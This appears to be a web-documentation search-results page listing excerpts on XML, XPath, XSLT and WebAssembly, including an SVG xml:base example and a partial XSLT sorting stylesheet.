<svg xml:base="https://foobar.s3-eu-west-1.amazonaws.com/uploads/15066845653629" width="909" height="1286" viewbox="0 0 909 1286"xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <defs> <style type="text/css"><![cdata[ .s9_999{ font-size: 9.17px; font-family: zapfdingbats_ghr; fill: #161615; } ]]></style> <text x="647" y="412" dx="0" class="s9_999" >r</text> <style type="text/css"><![cdata[ @font-face { font-family: zapfdingbats_ghr; src: url("fonts/zapfdingbats_ghr.woff") format("woff"); } ]]></style> </svg> setting the xml:base on the svg element means you can inline the s...
XML: Extensible Markup Language
WebXML
the primary purpose of the language is the sharing of data across different systems, such as the internet.
unparsed-entity-url - XPath
this is non-xml data referenced in the dtd of the source document.
Index - XPath
WebXPathIndex
this is non-xml data referenced in the dtd of the source document.
Introduction to using XPath in JavaScript - XPath
for example, the expression: '//xhtml:td/mathml:math' will select all mathml expressions that are the children of (x)html table data cell elements.
<xsl:text> - XSLT: Extensible Stylesheet Language Transformations
WebXSLTElementtext
it may contain #pcdata, literal text, and entity references.
PI Parameters - XSLT: Extensible Stylesheet Language Transformations
the datatype will always bestring.
An Overview - XSLT: Extensible Stylesheet Language Transformations
the tree is an abstract datatype, a conceptual model which can be implemented in various ways depending on the parser and the processor.
For Further Reading - XSLT: Extensible Stylesheet Language Transformations
ken holman location: http://www.xml.com/pub/a/2000/08/holman/index.html tutorials/examples zvon xsl programmers: http://www.zvon.org/o_html/group_xsl.html jeni's xslt pages index: http://www.jenitennison.com/xslt/ xmlpitstop.com stylesheet center: http://www.xmlpitstop.com/default.asp?datatype=ssc xsl tutorial index: http://www.nwalsh.com/docs/tutorials/xsl/ other cover pages extensible stylesheet language (xsl): http://www.oasis-open.org/cover/xsl.html xsl-list subscribe: http://www.mulberrytech.com/xsl/xsl-list/ archives: http://www.biglist.com/lists/xsl-list/archives/ the xsl-list is a very active general mailing list, hosted by mu...
Advanced Example - XSLT: Extensible Stylesheet Language Transformations
) } // xsl stylesheet: <?xml version="1.0" encoding="utf-8"?> <xsl:stylesheet version="1.0" xmlns="http://www.w3.org/1999/xhtml" xmlns:html="http://www.w3.org/1999/xhtml" xmlns:xsl="http://www.w3.org/1999/xsl/transform"> <xsl:output method="html" indent="yes" /> <xsl:param name="myorder" /> <xsl:template match="/"> <xsl:apply-templates select="/div//div"> <xsl:sort select="." data-type="number" order="{$myorder}" /> </xsl:apply-templates> </xsl:template> <xsl:template match="div"> <xsl:copy-of select="." /> </xsl:template> </xsl:stylesheet> ...
Basic Example - XSLT: Extensible Stylesheet Language Transformations
this allows fetching of data after the page has been loaded, without initiating a fresh page load.
Setting Parameters - XSLT: Extensible Stylesheet Language Transformations
for example, javascript and xslt could be used to sort xml data and then display it.
XSLT: Extensible Stylesheet Language Transformations
WebXSLT
xslt is most often used to convert data between different xml schemas or to convert xml data into web pages or pdf documents.
WebAssembly Concepts - WebAssembly
by itself, webassembly cannot currently directly access the dom; it can only call javascript, passing in integer and floating point primitive data types.